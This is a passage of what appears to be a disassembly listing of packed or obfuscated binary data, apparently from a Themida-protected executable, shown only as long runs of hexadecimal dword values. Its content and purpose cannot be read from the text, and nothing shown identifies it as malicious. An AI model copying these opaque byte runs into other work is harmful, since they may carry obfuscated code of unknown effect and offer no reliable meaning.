		dd 3862EA28h, 610B51C7h, 9E5807F3h, 1108EFB5h, 908257BAh
		dd 131963A8h, 0BAE1CA23h, 0C6F45143h, 0A8880FF0h, 13197ABCh
		dd 451C23EAh, 1108EF26h, 908257BAh, 131963A8h, 0B9D2CA23h
		dd 0C6F45143h, 0AC6D0FF0h, 0D580434Eh, 0A8828661h, 13195094h
		dd 7FD3DBDCh, 16E3015Dh, 350B57AEh, 9C559409h, 940F73DFh
		dd 0F0F7391h, 530B57EAh, 6E959423h, 0A6CF8421h,	1D89584Eh
		dd 750B57AEh, 150BD458h, 1A6A57ABh, 150B515Ch, 1BF9D6EAh
		dd 0BD0A2C51h, 0F48F58BEh, 7F0B575Eh, 16E306AEh, 350B5757h
		dd 9C5294F2h, 940F7399h, 0F73AEh, 540B5775h, 8F7E94EBh
		dd 0AD6C2D6h, 0A88851BCh, 131958D2h, 428F58ABh,	7F0B57D5h
		dd 16E307EAh, 350B5775h, 9C5394E2h, 940F7319h, 90F73EAh
		dd 550B5757h, 26A194FBh, 667BD3BEh, 959DFC4Ch, 880AEFB8h
		dd 131952ABh, 150828B4h, 450B3DAEh
		dd 150B54BFh, 0D65377ABh, 314FDE8Dh, 314FD6EEh,	150B4D71h
		dd 0D65B17BAh, 0DDE6DAC2h, 1ACE06DAh, 15B58DE0h, 0A009578Ch
		dd 0CC8EDA27h, 9C0D429Eh, 73FEEC0h, 7FDBA8BCh, 16E3045Dh
		dd 350B57AEh, 9C50940Ch, 940F73F7h, 90F7391h, 560B57EAh
		dd 5F89426h, 957E24EFh,	90FAB6ADh, 9F8F586Eh, 940B5757h
		dd 0EBF93B7Ch, 7886DEAEh, 940D45DAh, 946D004Dh,	248E5841h
		dd 7F0B575Dh, 16E304AEh, 350B5757h, 9C5094F0h, 940F7389h
		dd 0F73AEh, 560B5775h, 764594E9h, 946DD6EBh, 170953D6h
		dd 160FD358h, 0A83A57ABh, 13195384h, 8933D68Ch,	238E5815h
		dd 9C0B57BAh, 70B42D8h,	1773D7A8h, 338E58BFh, 730B57ABh
		dd 946D8F5Eh, 0BE0B5192h, 151CD27Ah, 880857BAh,	13195C60h
		dd 15099E47h, 3886DE57h, 9C0D459Bh, 7029A50h, 140BE9ECh
		dd 0A0821174h, 13194B1Bh, 6DC4D63Bh, 0CC8EDA1Dh, 7F0D4223h
		dd 16E306ABh, 350B57D5h, 9C5294B3h, 940F7339h, 0E0F73FEh
		dd 540B575Dh, 0B7D94FFh, 910DF30Ah, 1FE2D886h, 0FD0B57D5h
		dd 0C0E2BCC2h, 0CC9B49A6h, 7FDBA8ACh, 16E3005Dh, 350B57AEh
		dd 9C549408h, 940F73D7h, 0C0F7391h, 520B57EAh, 34669422h
		dd 5C75A62Bh, 910497D8h, 150B55B2h, 32BAC2DCh, 2D8A51B9h
		dd 17096AB3h, 1525D2E5h, 0FC6B5775h, 150B57AEh,	3C92C301h
		dd 0A3061E3Fh, 0E5F3D9C0h, 6BE0C022h, 62E02956h, 34DEEA61h
		dd 946A5167h, 286D51C2h, 91042D02h, 150B55A4h, 8933D631h
		dd 6D8E58CBh, 7F0B57D5h, 16E300EAh, 350B5775h, 9C5494E5h
		dd 940F7321h, 0E0F73EAh, 520B5757h, 813694FCh, 3182F86Dh
		dd 0DB8B53A9h, 1773D74Eh, 5D8E5852h, 7F0B575Dh,	16E302AEh
		dd 350B5757h, 9C5694F6h, 940F73B9h, 90F73AEh, 500B5775h
		dd 366D94EFh, 0B0A2BE0h, 462AACD8h, 7FC18CD6h, 7351432Ch
		dd 150D2F54h, 58E582Ah,	1A0B5775h, 150B5537h, 0FCC8E15Dh
		dd 150B5624h, 0AB0BA0D7h, 6B0A56ABh, 0D9C9D6B3h, 0CC8EDA20h
		dd 730D4201h, 517ABE3Bh, 73DBA8A5h, 0D58EAD25h,	143DD358h
		dd 156157ABh, 1508BF86h, 4E2B57EAh, 49820CB6h, 518A539Eh
		dd 15125379h, 464857AEh, 0CD0A7994h, 1AFCB1F5h,	150B5457h
		dd 0CBB458EAh, 1AE36FF5h, 150B0F3Fh, 41F8D75Dh,	660E2F2Eh
		dd 1540D258h, 1DE257ABh, 0BC0B57D5h, 7452A0AEh,	957FB9DBh
		dd 1A5850C2h, 150A5AD9h, 460B3DAEh, 150B54BFh, 0D65077ABh
		dd 3157DE8Eh, 314FD6EEh, 150B4B71h, 0D65814BAh,	0E0E7914Bh
		dd 0AA24029Ah, 51BD37D6h, 509EDECBh, 0A20D45DCh, 9F6A3699h
		dd 2D8A31A6h, 90045235h, 150B57FDh, 0FD5A57C4h,	150B5754h
		dd 4CC80E8Bh, 112F1B5Ch, 112F136Bh, 150B5768h, 0F3C806FBh
		dd 5357C64Fh, 194EF785h, 7096DE82h, 950D45A8h, 1A6351ADh
		dd 150B3C6Fh, 0C4803175h, 1E73D6DCh, 900472A2h,	150B57F2h
		dd 0FD5C573Dh, 150B57A8h, 4AC808F5h, 112F2B63h,	112F13F4h
		dd 150B57A0h, 0ADC8001Ah, 4D47B6CBh, 94045747h,	150B57ADh
		dd 347ACA5Eh, 42E251F8h, 7F0B5775h, 16E304BAh, 350B575Dh
		dd 9C5094F5h, 940F730Bh, 0F73EFh, 560B57D5h, 7B9E94B9h
		dd 0C5E596F4h, 0A0820050h, 1319720Ch, 27E29785h, 7F0B5757h
		dd 16E306ABh, 350B57D5h, 9C5294B3h, 940F7339h, 0F0F73FEh
		dd 540B575Dh, 3D4394FFh, 97076B9Ch, 73A0EE6Fh, 14B3360Eh
		dd 9C0B57EAh, 71E52C8h,	12E2C7BCh, 4E0B575Dh, 0F9EE9D9Dh
		dd 755B5E75h, 0D9B305FBh, 1A2066FEh, 0AA530DDBh, 2F856D3Fh
		dd 0A022C7DBh, 13194DDCh, 43E0EA23h, 98865140h,	131C0BBCh
		dd 735E746Dh, 188E549Dh, 3E0D4550h, 17E29675h, 0A56ABABh
		dd 0C9D6B36Bh, 8EDA20D9h, 0D4201CCh, 7ABE3B73h,	0DBA8A551h
		dd 0F305E983h, 6A58A4h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8BE344C3h, 1207BD9Dh, 5D958906h
		dd 0B06121Ch, 0AD840FC0h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 168FC352h
		dd 668A3B27h, 0B5293C35h, 6120C85h, 5065B58Dh, 6A0612h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0C9AF78C3h, 0F39761Ch, 68Ch,	2CE78100h, 0B806BA48h
		dd 3, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h, 1Bh
		dd 0EEC35040h, 18B2BDF1h, 0FFA94EEFh, 57006AE6h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 97DE1C4h, 9D8944A8h,	6121701h, 53006A40h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 78F4402Ah
		dd 0F22EE34h, 0B70FD9B7h, 0E9C08BF8h, 0Eh, 3AA8EF82h, 1C084F94h
		dd 0E00A8A87h, 0BD834A92h, 6120E71h, 83097500h,	122D69BDh
		dd 19740006h, 0C08B5350h, 403B8h, 5858900h, 8D061232h
		dd 14B0519Dh, 5BD3FF06h, 69BD8358h, 6122Dh, 53501774h
		dd 403B8h, 5858900h, 8D061232h,	14ACF29Dh, 5BD3FF06h, 418D8958h
		dd 9061222h, 12093DB5h,	6AC08B06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0FB8CC357h
		dd 0AB8D8D61h, 8B06175Eh, 1226119Dh, 918D8906h,	6A061227h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0EED1C351h, 4C24B435h, 51044C8Dh,	5E9h, 4DD75C00h
		dd 0C7FC381Dh, 12343985h, 59A006h, 6E800h, 0CAD10000h
		dd 12CB16CBh, 14B19D89h, 0C75A0612h, 122E5D85h,	6, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0B21D8C9Bh, 35B501A0h, 0FF061223h, 121629B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0FAF80DAh, 118Bh, 0CE900h, 5EEB0000h, 0F21D0FD7h, 72EFEC40h
		dd 95FFA35Bh, 6120AC9h,	8E9h, 9A63100h,	9EBE2763h, 0FF006AABh
		dd 12247595h, 0EBC08B06h, 0CA56731Ch, 386D142Ah, 0BA835ABCh
		dd 365EE80Bh, 3307D993h, 412BADB6h, 1EA4B554h, 96E963h
		dd 0FEDC0000h, 68531EEFh, 6374726Fh, 74207475h,	7473206Fh
		dd 75747261h, 70h, 1Fh dup(0)
		dd 0EF9E9h, 61066800h, 2FE90617h, 68FFFBE8h, 617621Eh
		dd 0FBE825E9h, 63CE68FFh, 1BE90617h, 68FFFBE8h,	6176410h
		dd 0FBE811E9h, 64C468FFh, 7E90617h, 68FFFBE8h, 617654Fh
		dd 0FBE7FDE9h, 68ED68FFh, 0F3E90617h, 68FFFBE7h, 6176B83h
		dd 0FBE7E9E9h, 6CCC68FFh, 0DFE90617h, 8FFFFBE7h, 0BAF17C7Fh
		dd 55D825A8h, 0AA10CCFh, 278AF7FAh, 1454D926h, 13E061A2h
		dd 0C70C1BAEh, 0AD32377Ah, 955AED40h, 5A471328h, 0E252B7B8h
		dd 49344511h, 5CF6A3B6h, 75DC3B58h, 41E48BE3h, 0DECC31BEh
		dd 592DC1F0h, 3CA4DC3Bh, 0FEC50149h, 677E3DECh,	0CD4BE24Dh
		dd 67DF0FA2h, 30DEE24Dh, 2FA9C662h, 9F15B196h, 94789620h
		dd 352176Fh, 0D973B030h, 48EE4E02h, 0
		dd 6439095h, 0E17A4AA7h, 0F990927Dh, 0A74B76ABh, 22DC3BF5h
		dd 0E4C65EB6h, 0E722ADB1h, 3EB9E61h, 4E236116h,	40C568E2h
		dd 3C948CB3h, 238EBC73h, 0E80FE24Eh, 95A81D09h,	24212748h
		dd 2DCE142h, 0C1184Eh, 49E10000h, 2F0629B6h, 87AED11Eh
		dd 0DF6D7F84h, 0AF14E5Ah, 6DDA8F69h, 35B845C6h,	3C29A37Ah
		dd 0F80ABBDCh, 3ACD70F5h, 37788598h, 3174F951h,	949EA12Eh
		dd 4E7B4958h, 0E24E5E95h, 44EEDBA9h, 8DE24E5Fh,	5E7E9081h
		dd 0CD4BE24Eh, 197FF075h, 0C3D21294h, 0F0430E1h, 4BCDE863h
		dd 0B03DCC79h, 57D4414Dh, 0BA4EE58Ah, 0B0080837h, 9C6F9792h
		dd 1055B9AAh, 4B17DC6Dh, 779BD241h, 0CF5EFC4Bh,	4F00000Ch
		dd 7AB13CBFh, 1598E5E8h, 0CA61CC0Fh, 0E74AB73Ah, 54149966h
		dd 0D32021E2h, 874CDB6Eh, 6D72F73Ah, 559AAD00h,	1A07D3E8h
		dd 0E252B9F8h, 497485D1h, 7047E1B8h, 25E33A6h, 5FE047AAh
		dd 4A6C2F92h, 68592B7Ah, 0E24D862Bh, 7E838233h,	5D125731h
		dd 0D575B4FBh, 0CEE24D85h, 0A78EB13Ch, 3E1758A3h, 0C546D8DBh
		dd 0E243BFB2h, 194E023Eh, 0EEh,	0A3A7EEE6h, 53311758h
		dd 3B58CC66h, 0D69305DCh, 2C53A0A3h, 59D60819h,	0CC24A7B9h
		dd 224DA5A3h, 3B5D2E8Fh, 83870EDCh, 14513778h, 0AC11DE61h
		dd 0DF65D0BEh, 5D012D1Ch, 6C5DDC3Bh, 0DC3B5CC2h, 0AA2E890Fh
		dd 6A7788BFh, 739F8A98h, 5EDC3B5Ch, 31BE4FFAh, 0D25F0A0Eh
		dd 27058C58h, 4D91C97Ah, 2D9000E2h, 687A4985h, 9FA02B3Dh
		dd 733ECCB9h, 0E8623EB4h, 0DBA9BB1Dh, 3F32DCCDh, 0F39FE862h
		dd 2EB9268h, 0F673CB6Dh, 2F3DC243h, 0E16469E6h,	91D8882h
		dd 0AADFB9C6h, 0F59966E7h, 779C1CC1h, 0B7D268C7h, 5700000Bh
		dd 2A914D7h, 3D70FD00h,	0D259A427h, 8F228F52h, 7C0C717Eh
		dd 0AB38C90Ah, 9F64E346h, 458A9F12h, 2DB2B5F8h,	22EFFBC0h
		dd 0E252BB10h, 495C9DB9h, 20DBE1B8h, 0FA794332h, 97A81F62h
		dd 45636C80h, 358D06F0h, 0B64991C8h, 5AEA5B29h,	0FD68E897h
		dd 54D75E4Ch, 0E560E08Fh, 0DD20ADBEh, 380A9955h, 4D5B6609h
		dd 0B27F63E2h, 0E24D5BA0h, 2857AF29h, 4D5B6981h, 1F8654E2h
		dd 0F083C609h, 14A48101h, 11DF4E02h, 0F3000000h, 681A34E5h
		dd 21B7E24Dh, 9C5E8524h, 0E3000007h, 592B7A4Ah,	6B08580Bh
		dd 0ABDE780Dh, 0C4CD5643h, 2491E24Dh, 0D5AADF22h, 0F6093C43h
		dd 1E2184E9h, 1503AED1h, 9E4991E8h, 44C77447h, 6CFF32BFh
		dd 3AD1D867h, 0A54991E8h, 1D105FA4h, 0D2BEC10Eh, 0E83C684Bh
		dd 990C8192h, 30DE91E9h, 0D0508285h, 8E8AB50Dh,	528B35FCh
		dd 0F96C22EDh, 1B2C9B9Eh, 43C46BD6h, 0D3EF1BEh,	0F6499169h
		dd 6AC16E73h, 0D82538D8h, 1659B197h, 4ED0A33Ah,	0FE4D2C27h
		dd 961D606Dh, 0F274895h, 2712F0BFh, 4FA384D8h, 0A22D3164h
		dd 0EB56C2A7h, 45F037C7h, 17713EC1h, 1B4E9392h,	3A089757h
		dd 9B68F92Ch, 0C6097CD4h, 55B58781h, 0AE59C848h, 33C66873h
		dd 9369BDCBh, 0E499F91Ch, 2CED3961h, 2E6291Eh, 515008B9h
		dd 33C71DBDh, 56348C14h, 0D952D46Bh, 2B3D6839h,	54CCA5A0h
		dd 0D1C3032Bh, 65E38C4Fh, 80723F0Dh, 493FEED4h,	62295305h
		dd 0A53D819Eh, 0BD4CF9C7h, 5C090F30h, 64C91629h, 0ADB13EC1h
		dd 200F82D3h, 7102E19h,	8700000Ah, 0B2F94487h, 6DC02DB0h
		dd 2A914D7h, 3F72FF02h,	2C5CA12Eh, 1BE879BAh, 0CF141396h
		dd 0B53ACF62h, 9D62E548h, 525F0B10h, 0E252BBC0h, 492C4D09h
		dd 0FF0204B6h, 0EAFFB67h, 723D83C3h, 9C52Ch, 6C95900h
		dd 0EFF274BBh, 0D6192F82h, 0B944C46Bh, 6370F134h, 3BF86E1Eh
		dd 0D558A52Ah, 81248956h, 0A70A777Ch, 0C9D25FA4h, 0BD022C1Dh
		dd 8BCFE252h, 29B6496Eh, 0D11E2F06h, 38377E6Ch,	6C08BEABh
dword_59EB28	dd 0BE79883Dh, 90D4AA37h, 0C46BC34Bh, 8A543E4Ch, 237EF639h
					; DATA XREF: Themida_:00561740o
		dd 0EDB47026h, 5A55121Fh, 0E47CE24Eh, 43E17806h, 4E98841Eh
		dd 15733CC1h, 50E2AFBDh, 79E24F4Ah, 53236A1Fh, 0D39C61E2h
		dd 0E1680ABFh, 0C35B4E7Eh, 647C5786h, 0A864A40Ch, 11E0B19h
		dd 0C8AA1E9Ah, 0BF0F2748h, 0AB2712F0h, 26B0341Bh, 0E265D0B2h
		dd 0A1D901Dh, 4BFB99C5h, 0E641AFCAh, 91158h, 727D8D00h
		dd 5BA6B80Fh, 2CD53D6h,	0F5F808BFh, 0DF242588h,	6FAC1A52h
		dd 19AC11DEh, 3578C50Ah, 0EB5EA330h, 15268B58h,	0BCB65849h
		dd 4713E252h, 4B6493Ah,	0D0B0FF02h, 6708D355h, 0E8E689E1h
		dd 145BA8BDh, 0FF02493Ch, 58A54978h, 0B42CDC3Bh, 94DED15Ch
		dd 0CDC3B59h, 0A213F1C0h, 2B2D529Fh, 22FDAC3Eh,	0AFE252B9h
		dd 59EA5B29h, 81822994h, 22276E7Ch, 0B3B692DDh,	0A12E3F76h
		dd 4D92979Eh, 0ABAF5D01h, 0E6B4F37Dh, 886h, 78C50806h
		dd 43AE3135h, 289558ECh, 0F5788385h, 0DF22AFBEh, 69F83BADh
		dd 95921964h, 0BB4EE548h, 0E364CB36h, 0DC8A931Eh, 52BE41EDh
		dd 0AFCA88E2h, 0FD1100EEh, 0D4DC3B58h, 43B07A86h, 3D9586F4h
		dd 0FD020548h, 9B68FBB2h, 0DD251D4h, 0AB38CB62h, 2D0C6B84h
		dd 0D6A5BCB3h, 0B6BFA0CEh, 0C9E54850h, 0FDC99C76h, 37328A8Fh
		dd 8FF2FF00h, 0F0211A0Bh, 0B360447h, 0DC3B5BE7h, 0AEF376E2h
		dd 483h, 0A4A7EE13h, 3530105Fh,	10F2C10Dh, 52B7DE21h, 9F6DEBE2h
		dd 0FAC81516h, 0FB3C2EACh, 0A693DDB0h, 0E252F38Ch, 0E7BD345h
		dd 0B5FCCF63h, 6056278Ah, 30475BBFh, 1D64C141h,	6BDAC774h
		dd 0CA5F0AD5h, 5Ah, 0A2774AB7h,	22E3F073h, 0DC3B5910h
		dd 0E5C75FB9h, 3B591A34h, 0F90CB7DCh, 0DCD39CF4h, 0FCA2BB72h
		dd 4B19F6Bh, 0D3B5FA07h, 0A2BC40D2h, 12D1CFCh, 0C8FCA2BCh
		dd 0FC69EF48h, 91A9665h, 70685779h, 16h, 1CD5E39h, 0A2B00000h
		dd 3B585BF7h, 40CF76DCh, 3C948CB3h, 774AF649h, 58EB5A28h
		dd 0C2116B41h, 89E1758Ah, 4AE762E6h, 0A8261667h, 81708755h
		dd 5CDF2401h, 1D0C1AC1h, 55A819F1h, 0A40D78D8h,	24h, 0A4A7EE05h
		dd 0A5642A5Fh, 0C87D511Eh, 8286A934h, 0C52614C7h, 409755A7h
		dd 8134F171h, 64AFC15Ch, 10000000h, 5A28774Ah, 0B843D94Ch
		dd 42E1BF7h, 0CDDC3B59h, 4776F34Bh, 0DC3B58ABh,	496B226h
		dd 48021376h, 1F4A0F3Fh, 51CEB38Fh, 0C8630CCFh,	8089B63Bh
		dd 0F5D84231h, 2239F92h, 7947F036h, 23h, 28774AC6h, 58C56F5Ah
		dd 940CDC3Bh, 1BD58BB3h, 0B07DFDFCh, 2B47F015h,	7, 1095E94h
		dd 0EEE30000h, 58FD1100h, 4CD4DC3Bh, 0D94519h, 4AC40000h
		dd 8B072877h, 58628CBDh, 0E96FDC3Bh, 17E7AC5Bh,	0D590115Fh
		dd 8C455F2Ah, 4C95831h,	0A22F307Bh, 0F36A9Dh, 0D4412D9Eh
		dd 85DC8954h, 2E93AB6h,	8F109D41h, 0D9000000h, 5A28774Ah
		dd 3B58C36Fh, 0A4A70EDCh, 71B8C75Fh, 0FC5B85F9h, 229E9DE4h
		dd 68103F01h, 6278h, 24239200h,	4A13AADFh, 0FE010577h
		dd 8EB5D7B1h, 8250495Bh, 0B6FFCD25h, 5182AB7h, 171B3ACFh
		dd 8AB74702h, 0DC3BE168h, 173BE6F4h, 0B2DC3BE2h, 500657ECh
		dd 0B40CAC49h, 58E7EC71h, 0A6F48DF8h, 0C85A5FE0h, 6CC16705h
		dd 49969712h, 0A5CA2226h, 5C19040Ah, 9366F949h,	10D61617h
		dd 0C4DB5h, 0EE320000h,	2D58A3A7h, 3271h, 0B6493000h, 84AB0629h
		dd 69DC3B58h, 0B3B403F6h, 4A98C32Eh, 575F2877h,	0E6D52CFEh
		dd 3B666BDDh, 2BFF79DCh, 5647F024h, 0FFFFFF0Fh,	2295E1Bh
		dd 49E30000h, 0EA5B29B6h, 6DEB9459h, 0D2434FF8h, 9BFD824Fh
		dd 5BA8BBEEh, 0D9450D6h, 61E4513Fh, 7926E99Ch, 50E24D67h
		dd 0E253BFC0h, 74EC935Eh, 6820CEF1h, 7A9DE24Dh,	252AFB77h
		dd 0A1144E02h, 54E95C9Fh, 4375DA8Fh, 3A000000h,	592B7A4Ah
		dd 4D862B68h, 808233E2h, 8386D8B7h, 0C35B40C2h,	0C95AE186h
		dd 2C83AC04h, 0E24E26FEh, 8D9998FFh, 2660F2BFh,	0EF69E24Eh
		dd 0E027047Ah, 8D524E02h, 4C000000h, 1A9FB37Eh,	0AE2AE24Eh
		dd 0B64900BBh, 1E2F0629h, 8487AED1h, 0EA7D307Fh, 489198E5h
		dd 0B3DC3B5Dh, 68DE23B0h, 0A37159Ch, 0E2500A3Bh, 0F5200296h
		dd 0AF026F74h, 5B0D519Eh, 0D17DAE5Eh, 4E8C856h,	0A6A40000h
		dd 0CF53D65Bh, 0F60AA10Ch, 212386EBh, 4DDC53DEh, 0C5333D80h
		dd 77FA0706h, 43AE3330h, 299459ECh, 0F17C8182h,	0DF733E2Ch
		dd 0EAE252C0h, 0B8490DACh, 0F6C4C62Bh, 3B5927CBh, 3336A2DCh
		dd 14F6FB0Ch, 2D529DA1h, 8333E2Bh, 404B649h, 0F0DE61F9h
		dd 8A5A88A2h, 48C8777Ah, 37F8083Ah, 0F7FC0F32h,	0D9E8248Ah
		dd 0CA5EBDCBh, 0B4965F09h, 9F7C2DB1h, 2AE24E40h, 22E81AEh
		dd 37E24E41h, 15D16150h, 0F709BC8Eh, 9F6D71F4h,	0D2299BF1h
		dd 3D285F31h, 5F8D2DF2h, 0B13CA4E8h, 80D768DDh,	5F8C7D91h
		dd 74CC54E8h, 367D49F1h, 9C5FE154h, 0CB1405E9h,	6EE76EBh
		dd 0FF05B092h, 90D5B3FCh, 0BA45DB4Ah, 0EBE07437h, 46DBEE76h
		dd 0EF5634B9h, 0B6D4915Eh, 65h,	591DCDFBh, 4585DC3Bh, 60DE6C7Eh
		dd 0CFCECD0Bh, 10522D19h, 1C74E671h, 91971A69h,	28E10F84h
		dd 2A78D0EDh, 6DC71C3Eh, 81AE062Ch, 5787980Dh, 8AB50DD2h
		dd 0FE10DB8Eh, 0DCDC3B68h, 5898A0CEh, 11C4A479h, 812E0D54h
		dd 10D707Bh, 2DBFA673h,	0F3767AE9h, 0B34B94Ch, 3C1787A4h
		dd 0FE277DCh, 0ED509DA0h, 2FB449B2h, 0CB182D00h, 4D2C4BA4h
		dd 905DEC59h, 569BAED5h, 6C26C0EBh, 3ABCDC3Bh, 47F028E6h
		dd 0FFFF7813h, 3068FFFh, 0EE308BFEh, 125DA2A7h,	0FB0C3336h
		dd 9CA114F6h, 3D282857h, 1301E8Ch, 0DC3B58EDh, 42097CE4h
		dd 79B13CC1h, 0B53ACBADh, 0B0614F5Dh, 0DC3B589Eh, 0B0FF0419h
		dd 53F167D0h, 8E9B03h, 0B842072Bh, 4D92D289h, 2A3B6AE2h
		dd 49CFA0A5h, 92638B26h, 75AE24Dh, 4F77B434h, 42E24E02h
		dd 4F000000h, 1D3C40EEh, 2F0B2895h, 3B68D062h, 79FF9DCh
		dd 0C1D01C42h, 968136E3h, 0CFDDE24Dh, 4D9730C2h, 4A3F99E2h
		dd 2D9CA335h, 0E24D96FDh, 8A9A99E0h, 0B9C6091Bh, 57D4AADFh
		dd 824E024Fh, 0EEh, 29B6496Fh, 0D11E2F06h, 30EBA5F3h, 3F7CF08Ah
		dd 0B5B6FD4Ah, 1B2C0728h, 95636BD6h, 3C028AA4h,	0EEF175DCh
		dd 0E070C741h, 763BA65h, 0CB5CDC3Ch, 0F374BB06h, 1DE941EEh
		dd 0FD01B496h, 9ECB4DF2h, 39B25D4Ch, 0B91FE24Eh, 6332F234h
		dd 0CA171481h, 0D0C1A3A5h, 0E24E3A3Eh, 0B2580D8Bh, 62E9B887h
		dd 980D11E8h, 5F39468Bh, 62E9C46Eh, 0B98B0DE8h,	62E96688h
		dd 9DF563E8h, 7007068Fh, 62E9AD41h, 24BC24E8h, 0ED352D9h
		dd 9B7E1042h, 8F939C77h, 252h, 4CB13CCAh, 179A65F9h, 0FC418C90h
		dd 0C934B749h, 931EE362h, 9DAC6FD9h, 0C946ED50h, 0EF72B904h
		dd 17289FE2h, 885667CAh, 52C37599h, 0FB065CE2h,	592BB849h
		dd 0E8975AECh, 591B37E2h, 22B6DC3Bh, 0FAD09FCAh, 6BE0B54Bh
		dd 3F0084EBh, 0FE0EBB13h, 40C376F3h, 0F44C919Eh, 0A7EED689h
		dd 321659A6h, 36C30337h, 0E9DD2F20h, 2C3E9641h,	4DED367Dh
		dd 8C9F06E2h, 2D583847h, 50FECC54h, 4ED26D7Ch, 0E2FAE183h
		dd 10DD6ADFh, 35D5D455h, 0A8E24E31h, 45E66251h,	0F94E02E9h
		dd 2D143EEBh, 7928E24Eh, 0E24E2CD5h, 851364FCh,	0EB7FC0h
		dd 0EEC00000h, 0F370A2A7h, 6FC741EEh, 2FB4B7FAh, 9459E85Dh
		dd 4CDD50D1h, 2B5499AAh, 24AAD52Dh
		dd 6C81516h, 81C44F2Dh,	3C047F5Eh, 1AE778DCh, 0C20F1097h
		dd 6A39F5BDh, 3686A998h, 0D543E24Eh, 2D336268h,	1DE267A2h
		dd 0CF73F652h, 0E30F3AFFh, 0DCE24E36h, 9DFB8449h, 4426BE1Ah
		dd 62E3A755h, 0D4B622E8h, 6E11DE61h, 52918EAh, 0CCE862E4h
		dd 0FFCD1154h, 419B9B6h, 78D867FFh, 0B0C7460Dh,	62E36D81h
		dd 64FC64E8h, 83803519h, 0C5440B7Eh, 84085438h,	83AC779Bh
		dd 109BFh, 7A858500h, 23AEB0F7h, 0AD56BDEh, 0FD0000A7h
		dd 0A72C3D70h, 67A4125Ah, 119419E6h, 0CD60CD12h, 0E346AB38h
		dd 0D2E9360h, 0C4BE5041h, 4F0BE252h, 2BB84932h,	0E8E00B59h
		dd 742D53E3h, 7738C6D6h, 0B5B00CFFh, 29F073B6h,	0BB2C4EBh
		dd 47AA0234h, 29B64914h, 8FBA8806h, 0DC3B5863h,	7F00CD5Ch
		dd 4F3A9E19h, 77FA0718h, 0DEACF333h, 52B80CD3h,	2C53C5E2h
		dd 0EBF877BEh, 0B8062819h, 55C3E252h, 15DA6D10h, 7C818E37h
		dd 55105533h, 9EAD4DDEh, 582A2E51h, 52B7C569h, 3C940CE2h
		dd 47A0BC73h, 0C80BFB4Bh, 0C0AFFDE9h, 2CA54BE0h, 3BCC73F6h
		dd 63E44BB6h, 0CA5AD19Eh, 70F02507h, 346C26Dh, 6053AAA6h
		dd 180950D3h, 0FB4ACBF6h, 30C2CFD3h, 99FB4ACCh,	0E262A73Fh
		dd 98F0501Fh, 0AB39FC8Ah, 1D3A56AEh, 27AFA44Fh,	1C494CF8h
		dd 8449DA51h, 0D9E98A6h, 123CD6C3h, 395FB4Bh, 0EC32C761h
		dd 372C879h, 37000000h,	0B949F148h, 21220936h, 859893DCh
		dd 0EF7C3778h, 57D65DE2h, 0BF4EE58Ah, 26260D32h, 8B9194DBh
		dd 0F2743F40h, 683940EFh, 6A9Ah, 68240489h, 4573h, 56243C89h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	0C6682404h, 8B06175Fh
		dd 0C481243Ch, 4, 24048B54h, 8304C483h,	3C8904ECh, 8408F24h
		dd 582434FFh, 8B04C483h, 8956243Ch, 4C681E6h, 83000000h
		dd 348704C6h, 4BE95C24h, 5FFFFBD9h, 57BAB73Eh, 3C121FDh
		dd 0FAB85D3Ah, 306176Dh, 3E0FFC5h, 0D2300CA7h, 0E25F19B0h
		dd 752F3B8Dh, 0F9080EEAh, 0D534B281h, 23043851h, 0FA2A74BBh
		dd 831C3B38h, 1A019F64h, 493195F8h, 805CB30Eh, 47D0EF4h
		dd 450647BDh, 387E6D80h, 247BCBD0h, 403C92C5h, 2E42AB65h
		dd 6810A1D7h, 1859BA6Bh, 0A57A4169h, 0AA15E124h, 144BD9A2h
		dd 0ED1E35E3h, 8D4F7F18h, 176F9D8Dh, 61858906h,	89061235h
		dd 1227918Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0EE7B63FDh, 80BA36BFh, 0C74805D8h
		dd 12343985h, 588806h, 7E800h, 0F5120000h, 226B67Ah, 4DB58918h
		dd 5F061227h, 5E8h, 0AE91B400h,	9D8BFC5Eh, 612328Dh, 5D85C75Eh
		dd 6122Eh, 8B000000h, 1202499Dh, 0EDB5FF06h, 6A06121Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 3E86C350h, 0D68B6698h, 0AC995FFh,	8E80612h
		dd 0B0000000h, 33038883h, 0E927B2D2h, 12h, 138DBDFAh, 0CBD16008h
		dd 0BB7126F7h, 9544D79Dh, 6A5BF027h, 7595FF00h,	8B061224h
		dd 896BEBC0h, 0B30308DCh, 0D8B27DA0h, 8381F9B9h, 0FAF7CF2Bh
		dd 7A2BD0EFh, 0D784E00Ch, 55919D25h, 8BC0C5FAh,	726E42AFh
		dd 0A965F0C4h, 6D57AA66h, 4D93EA9h, 0DAEA4A0Ch,	0A1EEC590h
		dd 0BA49A49Eh, 7F6A66E9h, 0ABE7A0BDh, 75697D81h, 24650D3Eh
		dd 0AE4850DFh, 882DDFD7h, 71CC569Dh, 3A4FD661h,	7BF266C1h
		dd 6099FDBFh, 18E01078h, 0B0E90DADh, 60000000h,	0F6DA8C66h
		dd 850F04C2h, 0Ch, 2E19853Bh, 840F0612h, 36h, 1309853Bh
		dd 840F0612h, 2Ah, 24B1853Bh, 840F0612h, 1Eh, 2469853Bh
		dd 840F0612h, 12h, 2B91BD83h, 0F010612h, 584h, 5FE900h
		dd 0D08B0000h, 8B3C5203h, 88BAh, 784A8B00h, 840FC985h
		dd 49h,	0F8C281h, 728B0000h, 8BC8030Ch,	518B1C59h, 8BD80314h
